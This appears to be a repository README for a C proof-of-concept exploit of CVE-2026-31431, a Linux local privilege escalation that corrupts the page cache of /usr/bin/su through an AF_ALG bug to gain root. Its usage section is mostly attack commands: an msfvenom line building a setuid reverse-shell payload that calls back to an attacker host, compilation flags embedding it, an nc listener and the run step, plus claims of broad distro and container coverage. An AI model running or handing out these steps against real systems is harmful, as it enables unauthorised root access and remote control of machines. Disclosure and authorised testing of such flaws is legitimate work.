mcub3/cve-2026-31431C PoC for CVE-2026-31431, an unprivileged Linux LPE exploiting AF_ALG page cache corruption to overwrite /usr/bin/su and gain root.
Trivial unprivileged LPE by writing 4 controlled bytes into the page cache of any readable file via a logic bug in AF_ALG (kernel 4.14 → early 2026).
Corrupt /usr/bin/su in-memory, then run it → root.
# 1. Generate an ELF payload (reverse shell example)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> PrependSetuid=true \
PrependSetgid=true -f elf -a x86 --platform linux -o payload_x86
# 2. Compile (static, stripped, payload embedded via .incbin)
gcc -m32 -static -Wl,--strip-all -DPAYLOAD_FILE=payload_x86 -o copy_fail_x86 copy_fail.c
# 3. Start listener first (nc -lvp <LPORT>), then run exploit on target host
./copy_fail_x86
• CVE: CVE-2026-31431 • CVSS: 7.8 • Fix: commit a664bf3d603d
• Works on virtually all Linux distros 2017–2026 (containers included).
• Technique: opens /usr/bin/su O_RDONLY, abuses AEAD in‑place decryption to splice a crafted payload directly into the page cache, bypassing the VFS.
• Original disclosure & 732‑byte Python PoC → https://copy.fail
MIT – see LICENSE. Educational / authorised testing only. Use at your own risk.